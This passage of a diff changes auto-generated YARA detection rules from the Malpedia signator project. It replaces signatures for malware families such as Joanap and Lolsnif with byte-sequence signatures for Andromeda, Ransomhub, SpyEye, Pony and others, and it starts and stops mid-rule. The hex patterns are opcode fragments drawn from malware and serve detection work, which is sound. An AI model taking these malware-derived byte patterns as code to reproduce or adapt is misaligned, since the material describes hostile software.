e8???????? ff75e8 ff15???????? eb53 8b45ec 3958f8 742f } condition: - 7 of them and filesize < 315392 + 7 of them and filesize < 98304 } -rule MALPEDIA_Win_Joanap_Auto : FILE +rule MALPEDIA_Win_Andromeda_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "59ddd497-e48f-5e4c-aaa1-e68a7dcd2888" + id = "aedaa52d-9d6c-5053-8164-d65674aef5c3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.joanap" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.joanap_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromeda" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.andromeda_auto.yar#L1-L305" license_url = "N/A" - logic_hash = "2db58924366bc00afcca8a8ac59fc7a0399fb6bba1dea50a7dd31138b4827114" + logic_hash = "20401b03708a6c3a0bc1e9efb5c1e1d85a9de75bca8501a792bc92bf7f214fb5" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -140514,32 +140252,54 @@ rule MALPEDIA_Win_Joanap_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89510c 8b0d???????? dd442418 dd5c0810 8d9c2488030000 c744241432000000 8b43f0 } - $sequence_1 = { 8d4c240a 6a01 51 56 ff15???????? 6a00 } - $sequence_2 = { 8844241a 8844241b a1???????? 89442408 8b8590010000 33d2 56 } - $sequence_3 = { 8b3d???????? 8d4c2414 51 56 ffd7 85c0 a3???????? } - $sequence_4 = { 8d8c24b0000000 51 56 ffd7 85c0 a3???????? 750c } - $sequence_5 = { 893d???????? ff15???????? 8b842494000000 6a01 6820bf0200 53 66c74304feff } - $sequence_6 = { 66c74424380040 e8???????? 83c414 83f8ff 0f8468010000 668b4610 6689442424 } - $sequence_7 = { 83c404 eb58 8d4e03 51 e8???????? 83c404 eb4a } - $sequence_8 = { 8bac2424100000 8b3d???????? 8b1d???????? 894820 6a01 } - $sequence_9 = { 6a01 6820bf0200 8d442418 6a04 50 56 } + $sequence_0 = { 02d6 81e2ff000000 368a942a00ffffff 301439 41 } + $sequence_1 = { 8b7508 33db 368a942900ffffff 02c2 } + $sequence_2 = { 7408 43 3b5d0c 74cf ebcf 33c0 } + $sequence_3 = { 55 8bec 81c400ffffff 60 b940000000 8d7dfc b8fcfdfeff } + $sequence_4 = { fec0 368a942800ffffff 02da 368ab42b00ffffff 3688b42800ffffff 3688942b00ffffff 02d6 } + $sequence_5 = { e2f8 fc 33c0 8b7508 } + $sequence_6 = { 368ab42800ffffff 3688b42900ffffff 3688942800ffffff fec1 } + $sequence_7 = { 8d7dfc b8fcfdfeff fd ab 2d04040404 e2f8 } + $sequence_8 = { 60 e8???????? 5d 81ed???????? 33c9 } + $sequence_9 = { 0fb64601 84c0 7905 0d00ffffff } + $sequence_10 = { 0f9ec1 33d2 3c41 0f9dc2 85ca 7404 0420 } + $sequence_11 = { 8a06 33c9 3c5a 0f9ec1 33d2 3c41 } + $sequence_12 = { 8d45d0 50 6a01 ff7508 } + $sequence_13 = { 50 e8???????? 83c40c 6800000100 e8???????? } + $sequence_14 = { 68???????? 50 ff15???????? 83c40c 56 6880000000 } + $sequence_15 = { 689f010000 6811010000 57 68???????? ff15???????? 50 } + $sequence_16 = { 68401f0000 e8???????? 668945e2 c745e400000000 } + $sequence_17 = { c745e400000000 6a00 6a00 6a00 6a06 6a01 6a02 } + $sequence_18 = { c7459c44000000 8945d4 8945d8 8945dc 66c745cc0000 c745c801010000 8d458c } + $sequence_19 = { 7457 33c0 8d7d9c b944000000 f3aa 6a00 6a00 } + $sequence_20 = { e8???????? ff75f4 e8???????? 68???????? 6801010000 e8???????? } + $sequence_21 = { 6a02 e8???????? 8945f0 83f8ff 7479 } + $sequence_22 = { e8???????? 8945f8 83f800 0f8458010000 } + $sequence_23 = { 6804010000 ff75fc 6a00 e8???????? 6a00 ff75f8 } + $sequence_24 = { 81fb5267a723 0f843fffffff 56 ff7514 } + $sequence_25 = { 0faff8 69f677adcc8a 81ffd02eaced 0f84a1feffff e9???????? 803beb } + $sequence_26 = { 81e604002402 81e747af3c96 81ce00008000 81c760345938 } + $sequence_27 = { 8b4574 833800 0f846c010000 6af5 ff5510 } + $sequence_28 = { ff5614 8bd8 81f392be3437 81ff64e62722 0f8418010000 8365f000 6850020000 } + $sequence_29 = { ff5638 314508 ff560c 8b7d04 0bd8 81fbb599839e 7503 } + $sequence_30 = { 81f99cd8b976 7417 85db 7c73 } + $sequence_31 = { ff5518 33f8 81f6acec75ce 81ff45ee1de6 0f84ce000000 837d4800 } condition: - 7 of them and filesize < 270336 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Lolsnif_Auto : FILE +rule MALPEDIA_Win_Odinaff_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "801276e5-64e7-59d1-a653-8ee4b7f16dc4" + id = "d0d529bd-8ddc-568c-bb57-34ccb7211d4b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lolsnif" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lolsnif_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.odinaff" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.odinaff_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "4100f8ab27f3910e5c0d280cf414b7c267c81147c4a7bc07b3262d87c3731e63" + logic_hash = "a33fd98331eb6936af0c82dded866dcdbe45b48b5675a4678e1caee59c4bd151" score = 75 quality = 75 tags = "FILE" @@ -140553,32 +140313,32 @@ rule MALPEDIA_Win_Lolsnif_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7313 57 57 57 57 53 ff75fc } - $sequence_1 = { 5b c20c00 55 8bec 83ec14 817d0c00100000 } - $sequence_2 = { b892e8ffff c3 55 8bec 83ec40 53 56 } - $sequence_3 = { e8???????? 8bf0 3bf3 7439 3bfb 7411 8b4718 } - $sequence_4 = { 33db 53 c744241001000000 bf???????? ffd6 ff7508 57 } - $sequence_5 = { f00fc108 a1???????? 83c040 50 ffd3 a1???????? 56 } - $sequence_6 = { eb06 41 894804 33ff 5b 8bc7 5f } - $sequence_7 = { 3bc6 8945f4 754d 8b4dc0 56 ff35???????? 8bc1 } - $sequence_8 = { ab ab 8d442428 50 8d44241c 50 } - $sequence_9 = { ff7704 e8???????? 3de8000000 7509 834dfcff e9???????? } + $sequence_0 = { 56 c745983c000000 c745ac00010000 8955c4 c745c800080000 } + $sequence_1 = { f7de 85c0 7408 50 } + $sequence_2 = { 83c410 f7d8 1bf6 8b45e8 f7de 85c0 } + $sequence_3 = { 6a00 51 52 50 ff15???????? 8945e8 } + $sequence_4 = { c745fc00010000 ff15???????? 50 ff15???????? 8bf8 8d45fc 50 } + $sequence_5 = { b8???????? e8???????? 8b1d???????? 83c410 f7d8 1bf6 8b45e8 } + $sequence_6 = { 53 56 57 8b3d???????? 6800001000 } + $sequence_7 = { 68???????? 68???????? 53 8bf0 ff15???????? 83c40c } + $sequence_8 = { 6a00 6a00 51 ff15???????? 8b45fc 85c0 } + $sequence_9 = { ffd3 8b3d???????? 50 ffd7 6808020000 } condition: - 7 of them and filesize < 425984 + 7 of them and filesize < 73728 } -rule MALPEDIA_Win_Graphite_Auto : FILE +rule MALPEDIA_Win_Ransomhub_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "22d6771d-6e02-5bad-92aa-7abf2f0540bc" + id = "3e3a1e40-e1d1-52bd-84f7-e9d4fbcb059d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphite" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graphite_auto.yar#L1-L109" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomhub" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ransomhub_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "fac8314c02add0a1a3fcfc7bc6cd359f12eb58a8246911250bf475b51a803e3f" + logic_hash = "04cb851589645119dff5d45b0c40a2835781fcc030d792f49fd4c3e1be1bf3b4" score = 75 quality = 75 tags = "FILE" @@ -140592,34 +140352,34 @@ rule MALPEDIA_Win_Graphite_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85db 7513 33d2 e8???????? 84c0 } - $sequence_1 = { 7513 33d2 e8???????? 84c0 } - $sequence_2 = { 81e2ff030000 81e1bf030000 83c940 c1e10a } - $sequence_3 = { 81e2ff030000 81e1bf030000 83c940 c1e10a 0bca } - $sequence_4 = { 85db 7513 33d2 e8???????? } - $sequence_5 = { 81e1bf030000 83c940 c1e10a 0bca } - $sequence_6 = { 85db 7513 33d2 e8???????? 84c0 74e4 } - $sequence_7 = { 7513 33d2 e8???????? 84c0 74e4 } - $sequence_8 = { 33d2 e8???????? 84c0 74e4 } - $sequence_9 = { ff15???????? 33c0 eb05 b801010000 } + $sequence_0 = { eb0f 488d3dbb5d5100 0f1f00 e8???????? e8???????? 48891d???????? 833d????????00 } + $sequence_1 = { e8???????? 488d3d03f63300 0f1f00 e8???????? e8???????? 4889842430190000 48899c24b00a0000 } + $sequence_2 = { bb07000000 488bac2488000000 4881c490000000 c3 488d058db90b00 bb07000000 488bac2488000000 } + $sequence_3 = { bf01000000 488b8424f00b0000 e8???????? 4c8b8c24f00b0000 41ff8980000000 488b8c2488030000 488b8424b8030000 } + $sequence_4 = { b90f000000 e8???????? 48898424000e0000 48899c24b8000000 488b15???????? 48899424c0110000 488d0580fd2800 } + $sequence_5 = { 48c744243400000000 0fb6542449 0fb6742443 01f2 0fb6742442 0fb67c244c 440fb6442457 } + $sequence_6 = { eb09 4889c7 90 e8???????? 488d05d40d2f00 488b5c2438 488d0db3af3300 } + $sequence_7 = { 4d8d0cb0 4d8d49fc 450fb609 488d4701 4839c1 0f86ff000000 4829f2 } + $sequence_8 = { c3 80fb2d 0f85be010000 8400 833d????????00 750c 488d0dbdfa2800 } + $sequence_9 = { e8???????? 4889442428 48c70000000000 488d05b41b0700 e8???????? 4889442420 488d05a3ea0900 } condition: - 7 of them and filesize < 98304 + 7 of them and filesize < 12821504 } -rule MALPEDIA_Win_R980_Auto : FILE +rule MALPEDIA_Win_Spyeye_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "93137b54-f6ba-5cf4-a0be-8189c2bb31ee" + id = "b5e5088a-e300-5034-889b-970db77fc21d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.r980" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.r980_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyeye" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spyeye_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "fbf84b1263b8ff37213624bd208f7542a2b35e24d52f97dbbecc6762e2858308" + logic_hash = "eb40febb6f1c9817c33c9124c37ea30f926a02c0c70087f7a1361d98282ccb0d" score = 75 - quality = 45 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -140631,32 +140391,32 @@ rule MALPEDIA_Win_R980_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c40c e9???????? a900040000 0f84b0000000 837f1408 7204 8b07 } - $sequence_1 = { 8bc8 e8???????? 8d45d8 50 8d8d38ffffff e8???????? ff7524 } - $sequence_2 = { e8???????? 8b75e0 83c414 83fe03 7707 ff24b5c8ba4000 e8???????? } - $sequence_3 = { ff5004 c745fc07000000 8b7510 85f6 741e 8bc3 f00fc14604 } - $sequence_4 = { 68???????? e8???????? 51 6a20 50 8d8df0f9ffff c645fc04 } - $sequence_5 = { 33c1 8944960c 8b44241c 8b8810010000 8b8014010000 8d0c88 8d4204 } - $sequence_6 = { c60100 e8???????? e8???????? 8d942490000000 b9???????? e8???????? 8d842490000000 } - $sequence_7 = { 722c 8b4640 8945a4 8d0c38 894e40 8b4630 8945ac } - $sequence_8 = { 8bcf e8???????? 8a00 8806 834710ff 7509 c7470c00000000 } - $sequence_9 = { 68???????? 8d45b4 c745ac0f000000 50 c745a800000000 c6459800 e8???????? } + $sequence_0 = { 740e 837dfcff 7408 ff75fc } + $sequence_1 = { 8b65fc c9 c20800 55 8bec } + $sequence_2 = { 56 6880000000 6a04 56 6a07 6800000040 57 } + $sequence_3 = { ff7508 ffd0 8b65fc c9 c21400 55 8bec } + $sequence_4 = { ff750c e8???????? 8bd8 83fbff 751b 57 } + $sequence_5 = { 837dfcff 7408 ff75fc e8???????? 3bdf } + $sequence_6 = { 740a 83e0fe 50 57 } + $sequence_7 = { 6a02 eb08 56 6880000000 6a04 } + $sequence_8 = { 6a03 57 6a01 56 ff750c e8???????? } + $sequence_9 = { 50 e8???????? 85c0 7454 57 56 } condition: - 7 of them and filesize < 3178496 + 7 of them and filesize < 741376 } -rule MALPEDIA_Win_Manjusaka_Auto : FILE +rule MALPEDIA_Win_Badaudio_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "51e0b6e1-e568-5f67-9420-ee9d6d4c7f64" + id = "05c804a9-cf16-57d2-a80f-b619976bbd0d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.manjusaka" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.manjusaka_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badaudio" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badaudio_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "29c4c663bca03e2a4622112f8201d75001eddf5ba4fdd44c2a396a51b4263dae" + logic_hash = "a6c973b5c41c14ecfe9459d805cffcba8f5aa17e724a8b86913ac3f147c5345e" score = 75 quality = 75 tags = "FILE" @@ -140670,32 +140430,32 @@ rule MALPEDIA_Win_Manjusaka_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b4110 4885c0 0f8482000000 488b31 486bf870 31db 48837c1e0800 } - $sequence_1 = { 8be9 2bef 4803fa 399c2490000000 7417 498b4d70 e8???????? } - $sequence_2 = { f048ff08 750d 488d8c2438010000 e8???????? 80bc24c801000002 740d 488d8c2440010000 } - $sequence_3 = { 85c0 750e b9667b0200 e8???????? 8bc8 ebe2 488b4b18 } - $sequence_4 = { ba08000000 e8???????? 0f0b 488d4134 c3 488d4135 c3 } - $sequence_5 = { 81fa00fc0000 7323 66c741100100 6644894112 48c1e010 4883c801 c3 } - $sequence_6 = { e8???????? 4885d2 7415 4c39e8 7509 4c39e2 0f846a010000 } - $sequence_7 = { 8a8c0ca2000000 41300c2f 488d4d01 4889cd 4939cc 75b8 488b442440 } - $sequence_8 = { f048ff00 0f8e64050000 4889c7 b930000000 ba08000000 e8???????? 4885c0 } - $sequence_9 = { 8806 4883c440 5e c3 4889d1 4c89c2 4d89c8 } + $sequence_0 = { 886e09 88560d 886602 884e0a } + $sequence_1 = { c6470c00 807de000 0f8447ffffff 8b45dc c745dc00000000 8b4dd4 } + $sequence_2 = { 885c8103 40 83f83c 7463 8a7c81fc 0fb65481fd 0fb6f7 } + $sequence_3 = { f20f114030 f20f10442438 f20f114038 f20f108424e0000000 f20f114058 f20f108424d8000000 f20f114050 } + $sequence_4 = { 0f57d8 0f115c2411 0f10442461 0f104c2421 0f109424a1000000 } + $sequence_5 = { 8a4627 88431c 8a4626 88431d 8a4625 88431e 8a4624 } + $sequence_6 = { 8b540c48 89542438 83c104 894c2408 8b0c24 894c2430 } + $sequence_7 = { c7462800000000 c7462c0f000000 c6461800 f20f104010 f20f114310 } + $sequence_8 = { 8a442404 3287e4000000 884604 329fe5000000 885e05 3297e6000000 885606 } + $sequence_9 = { 0355e0 39d1 89d6 0f43f1 } condition: - 7 of them and filesize < 4772864 + 7 of them and filesize < 1420288 } -rule MALPEDIA_Win_Moriagent_Auto : FILE +rule MALPEDIA_Win_Go_Red_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e0e8552c-2a56-5880-9b39-e228e0ca2c36" + id = "349c73e1-95b2-5589-863e-7a8d953d6a5e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moriagent" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moriagent_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.go_red" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.go_red_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "f619de3127e38febd0ef7c0dec89df2ad37cda3381275176b5456add134d4a40" + logic_hash = "f8574b8fe29715ba2701e58cba52ed611bfc6971c882e6ec12a4906afec7293e" score = 75 quality = 75 tags = "FILE" @@ -140709,32 +140469,32 @@ rule MALPEDIA_Win_Moriagent_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c408 8b55c4 8b45f0 40 } - $sequence_1 = { 47 8b048500844200 885c012e 3bfa 7cea 8b7ddc } - $sequence_2 = { c785e4efffff00000000 c785e8efffff00000000 c785ecefffff00000000 83fa10 722f } - $sequence_3 = { 3bc1 7767 85ff 7425 41 8d0442 56 } - $sequence_4 = { eb4c 8b4714 8bd9 2bda 2bc2 3bd8 7727 } - $sequence_5 = { 8bc1 c785e4fdfffffc010000 0f43d6 c785f0fdffff07000000 c785f4fdffff01800000 2bd0 0f1f4000 } - $sequence_6 = { 8d8dccefffff e8???????? 8d8dd4efffff e8???????? } - $sequence_7 = { 8b5d08 8b048500844200 56 57 8bfb 8b440818 } - $sequence_8 = { 83c408 85c0 742a f68568feffff10 7521 8b4704 8d4da8 } - $sequence_9 = { 7467 8b45e4 3bc8 7713 837de010 8bc7 894f10 } + $sequence_0 = { e8???????? 84c0 740a 488b7c2470 e9???????? 488b7c2470 488b5748 } + $sequence_1 = { eb0a 488b7c2450 e8???????? 488b542470 4c8b442468 4c8b4c2438 488b5228 } + $sequence_2 = { e8???????? 488b6d00 488d0526777d00 4889cb 0f1f00 e8???????? 4889442470 } + $sequence_3 = { e8???????? 48c7400802000000 48c7401002000000 833d????????00 750d 488b8c24c02f0000 488908 } + $sequence_4 = { eb11 4889c7 488b8c24001c0000 90 e8???????? 488d0554889f00 e8???????? } + $sequence_5 = { e8???????? 488b942498000000 488bb424b0000000 4989c1 b901000000 41b801000000 488b442458 } + $sequence_6 = { e8???????? 4c89d8 e8???????? 4889f8 4c89d9 e8???????? 4c89c0 } + $sequence_7 = { eb1c 488d7802 4839f9 7c18 4839c1 0f86a8020000 0fb63c02 } + $sequence_8 = { e8???????? 488d05da7f9e00 e8???????? 4889842458060000 48b9211f0000b9030000 488908 488b9c24481a0000 } + $sequence_9 = { e8???????? 488d0521e7a701 bb14000000 e8???????? 90 4889442408 895c2410 } condition: - 7 of them and filesize < 720896 + 7 of them and filesize < 85566464 } -rule MALPEDIA_Win_Donex_Auto : FILE +rule MALPEDIA_Win_Alice_Atm_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a59c3405-5607-5fba-8e4b-94db509c7ebd" + id = "9cfa3195-b227-51b9-a69c-03c48bd5ea46" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.donex" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.donex_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alice_atm_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "34b4db6a7ff26120108a4a0b63d1aeaf3b7a5f8d055f37299085290aeaa32538" + logic_hash = "0ef9f8a95dbcda5f31fa4765cc9c970db5415f8125e940fffc88bdbab240fbed" score = 75 quality = 75 tags = "FILE" @@ -140748,32 +140508,32 @@ rule MALPEDIA_Win_Donex_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b55c8 33f6 8bf8 0facd012 c1e70e 0bf0 c1ea12 } - $sequence_1 = { 55 8bec 8b4508 53 bb01000000 85c0 7503 } - $sequence_2 = { 894d18 c744b30400000000 3bce 72ae 8b4508 c1e602 56 } - $sequence_3 = { 33c8 8b45f4 c1e808 0fb6c0 c1e108 0fb680488d4300 33c8 } - $sequence_4 = { 03c2 894db0 8bd0 8945f4 c1cf02 8bcf c1c205 } - $sequence_5 = { 8b5508 8b7a0c 8b7210 8b4a08 8b5214 } - $sequence_6 = { 85ff 0f85d4030000 8b7de8 8d45c8 50 57 } - $sequence_7 = { 33c9 83c408 668908 8b45ec 83f803 7405 83f804 } - $sequence_8 = { c1e902 f3a5 8bca 83e103 f3a4 8b7df8 4f } - $sequence_9 = { 740f 83fe09 740a 83fe0d 7405 83fe0a 751a } + $sequence_0 = { 682e010000 ff7110 e8???????? 8bd8 } + $sequence_1 = { 0bc0 0f841b010000 b910000000 33d2 f7f1 0fb7f8 } + $sequence_2 = { 0f85b7000000 e8???????? ff7508 8f05???????? 68ea030000 } + $sequence_3 = { 53 e8???????? e9???????? 817d0c11010000 0f858b000000 8b4d10 6681f9d507 } + $sequence_4 = { 7434 8d75d4 6a28 56 } + $sequence_5 = { 68ec030000 ff7508 e8???????? 8bf0 } + $sequence_6 = { 55 8bec 81c4f4fdffff 53 56 57 33ff } + $sequence_7 = { 33c0 8945fc 8b5d08 0bdb 7414 6a00 6a00 } + $sequence_8 = { 6a00 68e8030000 ff35???????? e8???????? } + $sequence_9 = { f7f1 0fb7c0 8945f8 8b7d10 83ff00 0f86c2000000 3b7df8 } condition: - 7 of them and filesize < 505856 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Edr_Silencer_Auto : FILE +rule MALPEDIA_Win_Green_Dispenser_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "91d15ce1-a998-5572-89fb-85a860af50f1" + id = "954f1c32-9e66-5f40-9a6c-8af93a40211b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.edr_silencer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.edr_silencer_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.green_dispenser" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.green_dispenser_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "36fd2a9fad325810fcce7416a9019a99b9100292037753c9fbfd0fd06391d993" + logic_hash = "4d0e3b4ff260054d419dc5677f1ac18d6112aade6736ec0a9f2b7f8946b1fdb4" score = 75 quality = 75 tags = "FILE" @@ -140787,32 +140547,32 @@ rule MALPEDIA_Win_Edr_Silencer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 898524030000 83bd2403000000 0f84b1000000 83bd2403000005 } - $sequence_1 = { e8???????? 85c0 0f84b7000000 4183ee57 4189fd 6690 } - $sequence_2 = { 488d154a7b0000 89442420 488d4c243e 480f44da 4c89e2 } - $sequence_3 = { 4889c1 488b05???????? ffd0 b801000000 4883c450 } - $sequence_4 = { 488b85d8010000 488b00 488b4008 4885c0 } - $sequence_5 = { e8???????? b801000000 e9???????? e8???????? 85c0 750a b801000000 } - $sequence_6 = { 4889c1 e8???????? 8945f8 837df800 7416 8b45f8 } - $sequence_7 = { b900000000 e8???????? 8945f8 837df800 7416 8b45f8 } - $sequence_8 = { 48894558 488b8518030000 488d4db0 488d5510 4989c9 } - $sequence_9 = { 488b05???????? ffd0 89c2 488d0d5fc70000 } + $sequence_0 = { 83c404 897508 895dfc 85f6 7453 8b450c 895e08 } + $sequence_1 = { 8d3c9e 03c2 03fa 49 } + $sequence_2 = { ffb554fbffff e8???????? 83c404 ff75d0 ff15???????? 8bbd9cfbffff 8b8da0fbffff } + $sequence_3 = { 8b7d08 85ff 747e 391f 757a 6a18 e8???????? } + $sequence_4 = { c1f803 b9???????? 8d3c9530df4200 8b11 2b17 3bd0 } + $sequence_5 = { 50 8b8530e5ffff c645f40d 8b048550aa4500 ff3406 } + $sequence_6 = { 0f841d010000 397e04 0f8e14010000 8b4e08 894dec 51 8bd7 } + $sequence_7 = { 6a00 68???????? ff75e8 0f57c0 660fd645f1 c745ec09000000 ff15???????? } + $sequence_8 = { 8bec 53 56 8b750c 57 8bfa 83fe03 } + $sequence_9 = { 7436 ba02000000 e8???????? 8945fc 85c0 74bf 8bd0 } condition: - 7 of them and filesize < 744448 + 7 of them and filesize < 838656 } -rule MALPEDIA_Win_Slub_Auto : FILE +rule MALPEDIA_Win_Regretlocker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1c0a27b8-13ae-509d-aab0-4967f12001e1" + id = "50b9971a-330e-56d2-b756-71f28fc91f9f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slub" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slub_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.regretlocker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.regretlocker_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "264575ee79f35f47d39754d10976636a28b6cb6786a3fc3ffd41fec9d7f59aa5" + logic_hash = "ead6b2d4c6df817cb3c1a72366d53d238049299ae52f7c46e3aa685242a44978" score = 75 quality = 75 tags = "FILE" @@ -140826,32 +140586,32 @@ rule MALPEDIA_Win_Slub_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d8520fbffff 50 68???????? 8d8d08fbffff e8???????? 8bc8 e8???????? } - $sequence_1 = { 0f848d000000 833801 56 8b74240c 0f8581000000 80bf3803000000 53 } - $sequence_2 = { 55 33f6 c644242400 53 89742420 e8???????? } - $sequence_3 = { 837f2c00 8b6c2428 89473c 897740 7527 3b6b10 0f84d90f0000 } - $sequence_4 = { 85db 741a 33f6 85ed 7e14 56 } - $sequence_5 = { c645fc16 8d8d80fdffff 8b85d4fdffff 83c018 50 e8???????? c645fc17 } - $sequence_6 = { 0f842c060000 85c0 8b44241c 0f95c1 888815040000 8b4008 85c0 } - $sequence_7 = { 83c418 85ff 7425 57 e8???????? 50 57 } - $sequence_8 = { 8bf8 83c408 85ff 75cf 38442411 0f84700a0000 6a01 } - $sequence_9 = { 8d8358020000 50 8d8664040000 50 e8???????? 83c408 84c0 } + $sequence_0 = { e8???????? 8d4d8f e8???????? 8bf8 6a20 58 ff35???????? } + $sequence_1 = { 7202 8b09 6a00 51 e8???????? 83f8ff } + $sequence_2 = { 8d8560feffff 8bce 50 e8???????? 84c0 746b } + $sequence_3 = { e9???????? 8b4df0 83c12c e9???????? 8d4dd8 e9???????? b8???????? } + $sequence_4 = { eb4c 8b08 80790d00 7439 8b4804 80790d00 } + $sequence_5 = { 8b01 8945ec 3bc1 0f84c5000000 8855e8 33ff 8855e4 } + $sequence_6 = { a5 a5 8d7dec ab ab } + $sequence_7 = { 56 57 8b7d08 8bf1 3bf7 742b 8d4718 } + $sequence_8 = { 8bc1 2b45cc 99 f7fb c645fc02 8bf0 8b45c4 } + $sequence_9 = { 5b 85c0 0f8569ffffff 8b4df4 8bc6 5f 5e } condition: - 7 of them and filesize < 1785856 + 7 of them and filesize < 1021952 } -rule MALPEDIA_Win_Electricfish_Auto : FILE +rule MALPEDIA_Win_Pony_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4bbe8d4f-bb22-5f20-a9d1-098a3e3e3fc4" + id = "1e9f1216-c41a-57fb-9136-54f943e63660" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.electricfish" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.electricfish_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pony" + source_url = 